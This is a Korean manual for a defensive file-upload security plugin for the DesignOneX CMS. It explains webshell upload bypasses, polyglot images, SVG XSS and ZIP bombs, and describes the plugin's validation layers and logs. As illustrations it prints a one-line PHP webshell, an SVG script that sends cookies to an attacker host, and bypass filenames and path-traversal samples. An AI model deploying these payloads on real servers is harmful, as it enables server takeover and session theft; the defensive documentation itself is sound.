
DX Security — Upload Bypass 방어 v1.0.0 안내서
DesignOneX CMS 파일 업로드 보안 기업 납품 수준 강화 플러그인
PHP 5.6+ · IIS / Apache / Nginx · 공유호스팅 완전 호환
코어(upload.php / Secure.php / boards/handler.php) 수정 없음 — 훅으로만 동작
기업 납품 요구사항 UP-001~023 완전 준수
목차
- Upload Bypass란 무엇인가
- DXCMS 코어의 현재 업로드 보안 수준
- 코어가 막지 못하는 것 — 이 플러그인의 역할
- 설치 방법
- 방어층 상세 설명
- UP1. Upload Policy Registry
- UP2. MIME + Magic Number + Content 3중 검증
- UP3. SVG / HTML 명시적 차단
- UP4. ZIP 보안 검사 (ZIP Bomb + 내부 파일 + Path Traversal)
- UP5. 파일명 보안 검증 강화
- UP6. 업로드 Rate Limit
- UP7. 보안 감사 로그
- UP8. 업로드 디렉토리 보호 강화
- 검증 파이프라인 전체 흐름
- 업로드 경로별 방어 현황
- 보안 로그 읽는 법
- 보안 강점 요약 — 기업 납품 공격 테스트 결과
- 방어하지 못하는 영역
- Policy Registry 커스터마이징
- 개발자 연동 가이드
- 자주 묻는 질문
1. Upload Bypass란 무엇인가
공격자가 파일 업로드 검증을 우회하여 서버에서 실행 가능한 파일(주로 PHP 웹셸)을 업로드하는 공격입니다.
공격 목표
공격자 목표: 서버에 웹셸 업로드 후 실행
shell.php 업로드 → /uploads/shell.php 접근 → 서버 완전 장악
왜 확장자 하나만 차단하면 안 되는가
단순 .php 차단만 있는 시스템:
shell.php → 차단 ✅
shell.phtml → 통과 ❌ (같은 PHP)
shell.phar → 통과 ❌ (Phar Archive = PHP 실행)
shell.pHp → 통과 ❌ (대소문자 우회)
shell.php.jpg → 통과 ❌ (이중 확장자)
shell.jpg.php → 통과 ❌ (이중 확장자)
shell.php%00.jpg → 통과 ❌ (Null byte)
shell.php5 → 통과 ❌ (PHP 버전별 확장자)
Defense in Depth — 다중 방어층
Layer 1: 파일명 보안 (제어문자, Null byte, Path Traversal)
Layer 2: 확장자 Allowlist (위험 확장자 모든 위치에서 차단)
Layer 3: MIME Type 서버 검증 (finfo — 브라우저 값 무시)
Layer 4: Magic Number 검증 (파일 시그니처)
Layer 5: Content 검증 (PHP 태그 스캔, Polyglot 탐지)
Layer 6: ZIP 내부 검사 (Bomb, Path Traversal, 위험 파일)
Layer 7: 랜덤 파일명 저장 (코어가 이미 적용)
Layer 8: 업로드 디렉토리 실행 차단 (.htaccess/web.config)
한 층이 뚫려도 다음 층에서 차단합니다.
2. DXCMS 코어의 현재 업로드 보안 수준
코어 소스를 직접 분석한 결과입니다.
업로드 경로별 현황
| 경로 | 방식 | 이중확장자 | MIME | Magic | Content | ZIP |
|---|---|---|---|---|---|---|
core/api/upload.php (에디터) |
Blacklist | ✅ 전체세그먼트 | ❌ | ❌ | ❌ | ❌ |
boards/handler.php (게시판) |
Blacklist | ✅ 전체세그먼트 | ❌ | ❌ | ❌ | ❌ |
core/auth/mypage.php (프로필) |
Allowlist+GD재인코딩 | ✅ | ✅ | ✅ | ✅ | — |
Secure::validateUpload() (공통) |
Blacklist+MIME | ✅ | ✅ | ✅(이미지만) | ❌ | ❌ |
코어의 강점
mypage.php 프로필 업로드 — 거의 완벽:
// 코어 mypage.php
$raw = file_get_contents($imgTmp);
$src = imagecreatefromstring($raw); // GD로 디코딩
imagecopyresampled($dst, $src, ...); // 리샘플링
imagejpeg($dst, $imgFinal, 85); // JPEG로 재인코딩 → Polyglot 제거
이미지를 GD로 디코딩 후 재인코딩하므로 내부에 숨겨진 PHP 페이로드가 제거됩니다. 이 플러그인이 추가 보강할 필요가 없는 유일한 경로입니다.
랜덤 파일명 저장:
// 코어 upload.php
$randHex = bin2hex(random_bytes(8)); // CSPRNG 8바이트
$saveName = date('Ymd') . '_' . $randHex . '.' . $ext;
// 예: 20260901_a3f29c11d7e8b4c2.jpg
원본 파일명을 절대 서버 파일명으로 사용하지 않습니다. 공격자가 /uploads/shell.php로 직접 접근할 수 없습니다.
.htaccess PHP 실행 차단:
# 코어가 업로드 디렉토리에 자동 생성
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
3. 코어가 막지 못하는 것 — 이 플러그인의 역할
❌ 미비점 1: 에디터·게시판 업로드에 MIME 검증 없음
코어 upload.php와 boards/handler.php는 $_FILES['type']을 전혀 사용하지 않고, finfo_file()도 호출하지 않습니다.
공격 시나리오:
PHP 파일을 image.jpg로 이름 변경 → 업로드
확장자 .jpg → Blacklist 통과
MIME 검증 없음 → 서버가 실제 내용 확인 안 함
저장 완료
(단, 랜덤 파일명 + .htaccess로 실행은 차단됨)
❌ 미비점 2: Magic Number 검증 없음 (에디터·게시판)
Secure::validateUpload()는 MIME + Magic을 검증하지만, upload.php는 이 함수를 호출하지 않습니다.
❌ 미비점 3: Polyglot 파일 미탐지
Polyglot 공격:
JPEG 헤더(FF D8 FF) + PHP 페이로드 혼합 파일
→ finfo_file()은 JPEG로 탐지
→ getimagesize()는 이미지로 인식
→ 그러나 내부에 <?php 태그 존재
→ PHP 실행 가능 환경에서 웹셸로 동작
❌ 미비점 4: ZIP 내부 검사 없음
게시판에 .zip 첨부 가능. ZIP 내부에:
../../config.php같은 Path Traversal 파일shell.php위험 실행 파일- 압축 해제 시 1MB → 500GB가 되는 ZIP Bomb
모두 현재 코어에서 탐지하지 못합니다.
❌ 미비점 5: SVG / HTML 명시적 차단 없음
SVG 공격:
<svg><script>alert(document.cookie)</script></svg>
→ image/svg+xml MIME → 이미지 처럼 업로드
→ 브라우저가 SVG를 렌더링 시 JavaScript 실행
→ XSS + 세션 탈취
HTML 공격:
동일 Origin에서 HTML 파일 직접 접근
→ Cookie 접근, CSRF 공격 가능
4. 설치 방법
4-1. 파일 배치
(DXCMS 루트)/
└── plugins/
└── dx-security-upload/
├── manifest.php
└── plugin.php
4-2. 관리자 페이지에서 활성화
관리자 → 플러그인 → dx-security-upload → 활성화
4-3. 권장 설치 순서
1. dx-security-guard
2. dx-security-hijacking
3. dx-security-csrf
4. dx-security-cookie
5. dx-security-upload ← 이 플러그인
단독 설치도 가능합니다.
5. 방어층 상세 설명
UP1. Upload Policy Registry
목적
업로드 유형별로 다른 보안 정책을 중앙에서 관리합니다. 기업 보안감사의 "업로드 허용 파일 유형을 목록화할 수 있습니까?" 질문에 즉시 대응합니다.
4가지 업로드 정책
| 정책 ID | 용도 | 허용 확장자 | 최대 크기 |
|---|---|---|---|
PROFILE_IMAGE |
프로필 이미지 | jpg, jpeg, png, gif, webp | 10MB |
EDITOR_IMAGE |
에디터 이미지 | jpg, jpeg, png, gif, webp, bmp | 10MB |
BOARD_ATTACH |
게시판 첨부 | 이미지+문서+압축 | 100MB |
PLUGIN_ZIP |
플러그인 패키지 | zip만 | 50MB |
정책별 특수 설정
| 설정 | PROFILE | EDITOR | BOARD | PLUGIN |
|---|---|---|---|---|
| Content 검증 | ✅ | ✅ | ✅ | ❌ |
| SVG 차단 | ✅ | ✅ | ✅ | ❌ |
| HTML 차단 | ✅ | ✅ | ✅ | ❌ |
| ZIP 내부 검사 | ❌ | ❌ | ✅ | ✅ |
| 필수 파일 요구 | — | — | — | manifest.php, plugin.php |
UP2. MIME + Magic Number + Content 3중 검증
Layer 1: MIME 검증 (finfo_file)
$_FILES['type'] — 브라우저 제공값 → 절대 신뢰하지 않음 (UP-016)
finfo_file($tmpPath) — 서버가 직접 파일 분석 → 신뢰
shell.php → image.jpg로 이름 변경 업로드
finfo_file() 탐지:
확장자: .jpg (통과 예상)
실제 MIME: text/x-php → MIME_NOT_ALLOWED 차단
Layer 2: Magic Number 검증
파일 헤더(첫 16바이트)로 실제 파일 형식 확인합니다.
| 파일 형식 | Magic Number (hex) |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 37 61 (GIF87a) |
| WebP | 52 49 46 46 ... 57 45 42 50 |
| BMP | 42 4D |
HTML로 만든 가짜 JPEG:
확장자: .jpg
MIME: image/jpeg (finfo가 오탐할 수 있음)
Magic: 파일 시작이 FF D8 FF 아님
→ MAGIC_MISMATCH 차단
Layer 3: Content 검증 + Polyglot 탐지
파일 내용(처음 64KB)에서 PHP 실행 패턴을 스캔합니다.
탐지 패턴:
<?php PHP 표준 개방 태그
<?= Short echo 태그
<? (+ 공백) Short 태그
<script language="php"> 레거시 PHP 스크립트
<% ASP 스타일 (일부 PHP 설정에서 실행)
__halt_compiler Phar 페이로드
Polyglot 탐지:
Polyglot 파일 구조:
[FF D8 FF ...] ← 정상 JPEG Magic Number
[정상 JPEG 데이터]
[<?php system($_GET['c']); ?>] ← PHP 페이로드 삽입
탐지 과정:
Magic: JPEG 헤더 확인 → 통과
getimagesize(): 이미지 인식 → 통과
Content 스캔: <?php 태그 발견 → CONTENT_PHP_TAG 차단
UP3. SVG / HTML 명시적 차단
SVG 차단 이유
<!-- 공격자가 업로드하는 SVG -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>
// XSS: 세션 쿠키 탈취
fetch('https://attacker.com/?c=' + document.cookie);
</script>
</svg>
SVG는 이미지처럼 보이지만 XML 기반이므로 JavaScript 실행이 가능합니다. 동일 Origin에서 SVG를 직접 열면 XSS가 발생합니다.
HTML 차단 이유
업로드된 HTML: /uploads/attack.html
브라우저에서 접근: https://example.com/uploads/attack.html
결과: 동일 Origin에서 HTML 실행 → Cookie 접근 가능 → CSRF 가능
UP4. ZIP 보안 검사
ZIP Bomb 방어 (기획서 §6.27)
공격: 42.zip (42KB) → 압축 해제 시 4.5PB
탐지:
내부 파일 uncompressed 크기 합산
기본 한도: 500MB (DX_UP_ZIP_MAX_UNCOMPRESSED)
단일 파일 압축률: 100:1 초과 시 차단 (DX_UP_ZIP_RATIO_MAX)
내부 파일 목록 검사 (기획서 §6.28)
plugin.zip 내부 구조:
├── plugin.php ← 정상
├── manifest.php ← 정상
├── shell.php ← 차단: DANGEROUS_EXT
└── includes/helper.php ← 정상
게시판 첨부.zip:
├── 문서.pdf ← 정상
└── ../../config.php ← 차단: PATH_TRAVERSAL
ZIP Path Traversal 차단 (기획서 §6.29)
탐지 패턴:
../config.php → .. 포함 → 차단
./evil.php → ./ 포함 → 차단
/etc/passwd → 절대 경로 → 차단
file\x00.php → Null byte → 차단
파일 개수 제한 (기획서 §6.30)
기본 제한: 1000개 (DX_UP_ZIP_MAX_FILES)
경로 깊이: 10레벨 (DX_UP_ZIP_MAX_DEPTH)
플러그인 ZIP 필수 파일 검증
PLUGIN_ZIP 정책:
필수 파일: manifest.php, plugin.php
missing → ZIP_MISSING_REQUIRED 차단
UP5. 파일명 보안 검증 강화
Null Byte 차단 (기획서 §6.11)
공격: image.jpg\x00.php
탐지: \x00 (제어문자) 포함 → FILENAME_CONTROL_CHAR 차단
현대 PHP는 Null byte 취약점이 대부분 패치됐지만
애플리케이션 레벨에서도 명시적으로 차단합니다.
인코딩된 Path Traversal 차단 (기획서 §6.10)
공격: ..%2f..%2fconfig.php
탐지: rawurldecode() 후 .. / \ 포함 확인
→ FILENAME_PATH_TRAVERSAL 차단
길이 제한
최대 255자 (DX_UP_MAX_FILENAME_LEN)
OS 파일시스템 제한에 맞춤
UP6. 업로드 Rate Limit
동일 IP에서 단시간에 많은 업로드 실패가 발생하면 자동화 공격으로 판단합니다.
코어 Secure::rateLimit()를 재사용하여 Redis(있으면) 또는 파일 기반으로 카운트합니다.
기본 정책:
5분(300초) 안에 20회 업로드 실패 시
→ 코어 Rate Limit 차단 작동
→ UP:UPLOAD_RATE_LIMITED 로그 기록
UP7. 보안 감사 로그
모든 업로드 시도를 data/security.log에 기록합니다.
기록 항목
타임스탬프, 이벤트 타입, IP, UA, 사용자 ID, 요청 URI
정책 ID, 원본 파일명 (basename만), 탐지된 MIME, 차단 이유
절대 기록하지 않는 것
✗ 파일 내용(Content) 원문
✗ PHP 페이로드 내용
✗ 개인정보가 포함된 파일 내용
✗ 파일 저장 전체 경로 (보안 정보 노출 위험)
UP8. 업로드 디렉토리 보호 강화
코어가 생성하는 .htaccess는 .php 확장자만 차단합니다. 이 플러그인은 더 광범위한 서버사이드 스크립트를 차단합니다.
Apache .htaccess (이 플러그인 버전)
# 코어: .php만 차단
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
# 이 플러그인: PHP 계열 전체 + ASP/JSP/CGI/Shell 전체
<FilesMatch "\.(php|php2|php3|phtml|phar|phps|pht
|asp|aspx|ashx|jsp|cfm|shtml
|cgi|pl|py|rb|sh|bash|exe|dll|ps1)$">
Require all denied
</FilesMatch>
IIS web.config
<handlers>
<add name="BlockPhp" path="*.php" verb="*" type="System.Web.HttpForbiddenHandler" />
<add name="BlockAsp" path="*.asp" verb="*" type="System.Web.HttpForbiddenHandler" />
<add name="BlockAspx" path="*.aspx" verb="*" type="System.Web.HttpForbiddenHandler" />
<add name="BlockPhar" path="*.phar" verb="*" type="System.Web.HttpForbiddenHandler" />
<add name="BlockPhtml" path="*.phtml" verb="*" type="System.Web.HttpForbiddenHandler" />
</handlers>
6. 검증 파이프라인 전체 흐름
파일 업로드 요청
│
▼
[코어] is_uploaded_file() 검증
[코어] 파일 크기 검증
[코어] Blacklist 위험 확장자 전체 세그먼트 검사
[코어] 에디터: getimagesize() 이미지 검증
│
▼ dx_before_upload 훅
│
▼
[UP5] 파일명 보안 검증
→ Null byte / 제어문자 → FILENAME_CONTROL_CHAR 차단
→ 인코딩 Path Traversal → FILENAME_PATH_TRAVERSAL 차단
→ 길이 초과 → FILENAME_TOO_LONG 차단
│
▼
[UP2][UP3] 확장자 전체 세그먼트 검사
→ 위험 확장자 모든 위치 검사 → DANGEROUS_EXT 차단
→ Policy Allowlist → EXT_NOT_ALLOWED 차단
→ SVG → SVG_BLOCKED 차단
→ HTML → HTML_BLOCKED 차단
│
▼
[UP2] MIME 검증 (finfo_file)
→ 허용 MIME 아님 → MIME_NOT_ALLOWED 차단
│
▼
[UP2] Magic Number 검증
→ 이미지 시그니처 없음 → MAGIC_MISMATCH 차단
→ 확장자-Magic 불일치 → MAGIC_EXT_MISMATCH 차단
│
▼
[UP2] Content 검증 + Polyglot 탐지
→ PHP 태그 발견 → CONTENT_PHP_TAG 차단
→ 이미지 헤더 있지만 파싱 불가 → CONTENT_FAKE_IMAGE 차단
│
▼
[UP4] ZIP 보안 검사 (ZIP 파일인 경우)
→ ZIP Bomb 압축률 → ZIP_BOMB_RATIO 차단
→ 전체 해제 크기 → ZIP_BOMB_TOTAL 차단
→ 내부 Path Traversal → ZIP_PATH_TRAVERSAL 차단
→ 내부 위험 확장자 → ZIP_INNER_DANGEROUS_EXT 차단
→ 파일 개수 초과 → ZIP_FILE_COUNT_EXCEEDED 차단
→ 필수 파일 없음 → ZIP_MISSING_REQUIRED 차단
│
▼
[코어] 랜덤 파일명 생성 + 저장
│
▼ dx_after_upload 훅
│
▼
[UP8] .htaccess / web.config 갱신
7. 업로드 경로별 방어 현황
| 경로 | 코어 단독 | 이 플러그인 추가 후 |
|---|---|---|
| 에디터 이미지 | Blacklist + getimagesize | + MIME + Magic + Content + SVG/HTML 차단 |
| 게시판 첨부 | Blacklist | + MIME + Magic + Content + ZIP 검사 + SVG/HTML 차단 |
| 프로필 이미지 | Allowlist + GD 재인코딩 | 보강 불필요 (이미 완벽) |
| 플러그인 ZIP | 별도 처리 | + ZIP Bomb + 내부 파일 + 필수 구조 검증 |
8. 보안 로그 읽는 법
로그 형식
[날짜 시각][UP:이벤트타입][IP:주소][UA:유저에이전트][UID:사용자ID][URI:요청경로] 메시지
이벤트 타입
| 타입 | 의미 |
|---|---|
UP:UPLOAD_ACCEPTED |
모든 검증 통과, 업로드 허용 |
UP:UPLOAD_BLOCKED |
검증 실패, 업로드 차단 |
UP:ZIP_NO_ZIPARCHIVE |
ZipArchive 클래스 없음 (경고) |
로그 예시
# 정상 업로드
[2026-09-01 09:00:01][UP:UPLOAD_ACCEPTED][IP:121.131.x.x][...][UID:42][URI:/api/upload]
policy=EDITOR_IMAGE file=photo.jpg ext=jpg mime=image/jpeg
# PHP 파일 위장 차단
[2026-09-01 14:22:10][UP:UPLOAD_BLOCKED][IP:45.33.x.x][...][UID:0][URI:/api/upload]
policy=EDITOR_IMAGE file=shell.jpg reason=CONTENT_PHP_TAG:<?php mime=image/jpeg
# Polyglot 파일 차단
[2026-09-01 16:45:03][UP:UPLOAD_BLOCKED][IP:58.29.x.x][...][UID:5][URI:/api/upload]
policy=BOARD_ATTACH file=evil.jpg reason=CONTENT_FAKE_IMAGE:header_valid_but_not_image mime=image/jpeg
# 이중 확장자 차단
[2026-09-01 20:11:44][UP:UPLOAD_BLOCKED][IP:103.21.x.x][...][UID:0][URI:/api/upload]
policy=EDITOR_IMAGE file=shell.php.jpg reason=DANGEROUS_EXT:php mime=
# ZIP Bomb 차단
[2026-09-01 21:30:00][UP:UPLOAD_BLOCKED][IP:175.200.x.x][...][UID:88][URI:/api/upload]
policy=BOARD_ATTACH file=bomb.zip reason=ZIP_BOMB_RATIO:ratio=1000:1 mime=application/zip
# ZIP 내부 PHP 차단
[2026-09-01 22:00:00][UP:UPLOAD_BLOCKED][IP:121.131.x.x][...][UID:12][URI:/api/upload]
policy=BOARD_ATTACH file=doc.zip reason=ZIP_INNER_DANGEROUS_EXT:php in shell.php mime=application/zip
9. 보안 강점 요약 — 기업 납품 공격 테스트 결과
기획서 §6.52의 공격 테스트 목록 기준:
| 공격 | 결과 | 차단 레이어 |
|---|---|---|
shell.php |
✅ BLOCK | 코어 Blacklist |
shell.phtml |
✅ BLOCK | 코어+이 플러그인 Blacklist |
shell.phar |
✅ BLOCK | 코어+이 플러그인 Blacklist |
shell.php.jpg |
✅ BLOCK | 이중확장자 전체세그먼트 검사 |
shell.jpg.php |
✅ BLOCK | 이중확장자 전체세그먼트 검사 |
shell.PHP (대소문자) |
✅ BLOCK | strtolower() 정규화 |
| PHP → JPG 위장 | ✅ BLOCK | MIME + Magic + Content |
| Polyglot (JPEG+PHP) | ✅ BLOCK | Content 검증 + getimagesize |
| SVG Script | ✅ BLOCK | SVG 명시적 차단 |
| HTML 파일 | ✅ BLOCK | HTML 명시적 차단 |
../file.php |
✅ BLOCK | 파일명 보안 검증 |
| Null Byte | ✅ BLOCK | 파일명 제어문자 검사 |
| ZIP Bomb | ✅ BLOCK | ZIP 압축률 검사 |
| ZIP Path Traversal | ✅ BLOCK | ZIP 내부 경로 검사 |
| ZIP 내부 PHP | ✅ BLOCK | ZIP 내부 확장자 검사 |
| 매우 긴 파일명 | ✅ BLOCK | 255자 제한 |
| 초대형 파일 | ✅ BLOCK | 코어 크기 제한 |
| 정상 JPG | ✅ ALLOW | 모든 레이어 통과 |
| 정상 PNG | ✅ ALLOW | 모든 레이어 통과 |
| 정상 PDF | ✅ ALLOW | BOARD_ATTACH 정책 허용 |
기업 납품 요구사항 UP-001~023 준수 현황
| 요구사항 | 내용 | 코어 | 이 플러그인 |
|---|---|---|---|
| UP-001 | 모든 Endpoint 식별 | ✅ | ✅ Registry |
| UP-002 | Extension Allowlist | ✅ | ✅ Policy 적용 |
| UP-003 | 사용자 파일명 직접 사용 금지 | ✅ | ✅ |
| UP-004 | 랜덤 파일명 | ✅ CSPRNG | ✅ |
| UP-005 | MIME 서버 검증 | △ (일부) | ✅ 전체 |
| UP-006 | Content 검증 | ❌ | ✅ |
| UP-007 | 실행 파일 차단 | ✅ | ✅ |
| UP-008 | 업로드 디렉토리 실행 차단 | ✅ | ✅ 강화 |
| UP-009 | Path Traversal 차단 | ✅ | ✅ |
| UP-010 | 파일 크기 제한 | ✅ | ✅ Policy |
| UP-011 | Archive 별도 정책 | ❌ | ✅ ZIP 검사 |
| UP-012 | 중앙 Upload Security | △ | ✅ Registry+Pipeline |
| UP-013 | 실패 파일 삭제 | ✅ | ✅ |
| UP-014 | 보안 이벤트 기록 | △ | ✅ 상세 로그 |
| UP-015 | 업로드 후 권한 검증 | ✅ | ✅ |
| UP-016 | $_FILES['type'] 미신뢰 | ✅ | ✅ |
| UP-017 | 확장자만 검사 금지 | △ | ✅ 3중 검증 |
| UP-018 | 사용자 파일명 서버 저장 금지 | ✅ | ✅ |
| UP-019 | 업로드 디렉토리 PHP 실행 금지 | ✅ | ✅ 강화 |
| UP-020 | Web Root 무조건 저장 금지 | ✅ | ✅ |
| UP-021 | ZIP 미검사 압축해제 금지 | ❌ | ✅ |
| UP-022 | SVG 일반 이미지 취급 금지 | ❌ | ✅ |
| UP-023 | 업로드 URL 사용자 입력 구성 금지 | ✅ | ✅ |
10. 방어하지 못하는 영역
| 취약점 | 이유 | 추가 대책 |
|---|---|---|
| 서버 .htaccess 실행 안 되는 환경 | Nginx, IIS에서 .htaccess 무시 | Nginx/IIS 설정에서 직접 실행 차단 |
| 이미지 처리 라이브러리 취약점 | ImageMagick, GD 라이브러리 취약점 | 라이브러리 최신 버전 유지 |
| 악성코드(Ransomware) 업로드 | 바이너리 분석 불가 | ClamAV 등 AV Scanner 연동 |
| 정상 파일 위장 민감정보 탈취 | Content 검사는 스크립트 탐지만 | DLP(Data Loss Prevention) 솔루션 |
11. Policy Registry 커스터마이징
plugin.php의 $GLOBALS['_dx_upload_registry']를 수정합니다.
허용 확장자 추가
// 게시판에 hwp 추가
$GLOBALS['_dx_upload_registry'][DX_UP_POLICY_BOARD]['extensions'][] = 'hwp';
$GLOBALS['_dx_upload_registry'][DX_UP_POLICY_BOARD]['mimes'][] = 'application/x-hwp';
ZIP 제한 변경
// 더 엄격한 ZIP 제한
define('DX_UP_ZIP_MAX_UNCOMPRESSED', 104857600); // 100MB
define('DX_UP_ZIP_MAX_FILES', 100); // 100개
define('DX_UP_ZIP_RATIO_MAX', 50); // 압축률 50:1
12. 개발자 연동 가이드
새 플러그인에서 업로드 검증 사용
// 코어 is_uploaded_file() 통과 후
$result = dx_upload_validate(
$_FILES['attach']['tmp_name'],
$_FILES['attach']['name'],
DX_UP_POLICY_BOARD // 정책 선택
);
if (!$result['valid']) {
http_response_code(400);
echo json_encode([
'success' => false,
'message' => '허용되지 않는 파일입니다.',
]);
exit;
}
// 검증 통과 → 저장
$ext = $result['ext'];
$saveName = date('Ymd') . '_' . bin2hex(random_bytes(8)) . '.' . $ext;
move_uploaded_file($_FILES['attach']['tmp_name'], $saveDir . $saveName);
// 업로드 디렉토리 보호
dx_upload_protect_dir($saveDir);
훅 연동 (코어 upload.php에 추가 필요)
완전한 동작을 위해 코어 upload.php에 다음 훅 실행을 추가하면 됩니다.
// upload.php — 파일별 처리 루프 안, STEP D 이후에 삽입
// [현재 코드] STEP D: 실행 차단 확장자 검사
// [추가] dx_before_upload 훅
$hookResult = dx_run_hook('dx_before_upload', array(
'tmp_path' => $file['tmp_name'],
'orig_name' => $origName,
'type' => $isEditor ? 'editor' : 'board',
));
if ($hookResult === false) {
$errors[] = array('name' => $origName, 'message' => '보안 정책에 의해 차단된 파일입니다.');
continue;
}
13. 자주 묻는 질문
Q. 훅이 코어에 없어도 동작하나요?
dx_before_upload 훅이 코어에 없으면 자동 검증이 실행되지 않습니다. 완전한 동작을 위해 위의 연동 코드를 코어 upload.php에 추가하거나, dx_upload_validate() 함수를 직접 호출하는 방식을 사용하세요.
Q. getimagesize()가 Polyglot을 탐지하지 못하는 경우도 있나요?
네. getimagesize()는 이미지 헤더만 확인하므로 정교하게 만들어진 Polyglot은 통과할 수 있습니다. 이 플러그인은 PHP 태그 Content 스캔을 추가하여 이를 보완합니다. 완전한 Polyglot 방어는 mypage.php처럼 GD로 재인코딩하는 방식이 가장 강력합니다.
Q. ZipArchive가 없는 환경에서 ZIP 업로드가 차단되나요?
아니요. ZipArchive가 없으면 ZIP 내부 검사를 건너뛰고 경고 로그만 기록합니다(graceful degradation). 코어의 확장자 Blacklist는 여전히 동작합니다. ZipArchive 설치를 권장합니다: apt install php-zip 또는 yum install php-zip
DX Security — Upload Bypass 방어 v1.0.0 — DesignOneX
https://designonex.com
라이선스
디자인원엑스 라이선스 참고
https://designonex.com/notice/view/1787577858493247